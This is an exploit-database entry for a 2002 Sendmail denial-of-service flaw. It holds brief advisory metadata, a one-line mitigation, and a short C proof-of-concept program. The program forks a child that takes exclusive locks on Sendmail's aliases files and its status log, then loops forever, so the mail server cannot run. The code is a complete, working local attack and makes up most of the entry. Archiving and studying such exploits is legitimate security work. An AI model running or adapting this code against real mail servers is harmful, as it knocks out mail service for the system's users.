Sendmail Lock Vulnerability

vendor:

Sendmail

by:

zillion

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Sendmail

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unix and Linux variants

2002

Sendmail Lock Vulnerability

Sendmail is a MTA for Unix and Linux variants. There is a vulnerability in Sendmail that will lead to a denial of service condition. The vulnerability occurs when a malicious user acquires an exclusive lock on files that Sendmail requires for operation.

Mitigation:

Restrict access to the files that Sendmail requires for operation.

Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/4822/info
 
Sendmail is a MTA for Unix and Linux variants.
 
There is a vulnerability in Sendmail that will lead to a denial of service condition. The vulnerability occurs when a malicious user acquires an exclusive lock on files that Sendmail requires for operation. 

#include <fcntl.h>
#include <unistd.h>

/*

Stupid piece of code to test the sendmail lock vulnerability on
FreeBSD. Run this and try sendmail -t on FreeBSD for example.

More info: http://www.sendmail.org/LockingAdvisory.txt

zillion (at safemode.org && snosoft.com)
http://www.safemode.org
http://www.snosoft.com

*/

int main() {

  if(fork() == 0) {

    char *lock1 = "/etc/mail/aliases";
    char *lock2 = "/etc/mail/aliases.db";
    char *lock3 = "/var/log/sendmail.st";

    int fd;
    fd = open(lock1,O_RDONLY);
    flock(fd,0x02);

    fd = open(lock2,O_RDONLY);
    flock(fd,0x02);

    fd = open(lock3,O_RDONLY);
    flock(fd,0x02);

    /* We are here to stay! */

    for(;;) {}

  }
}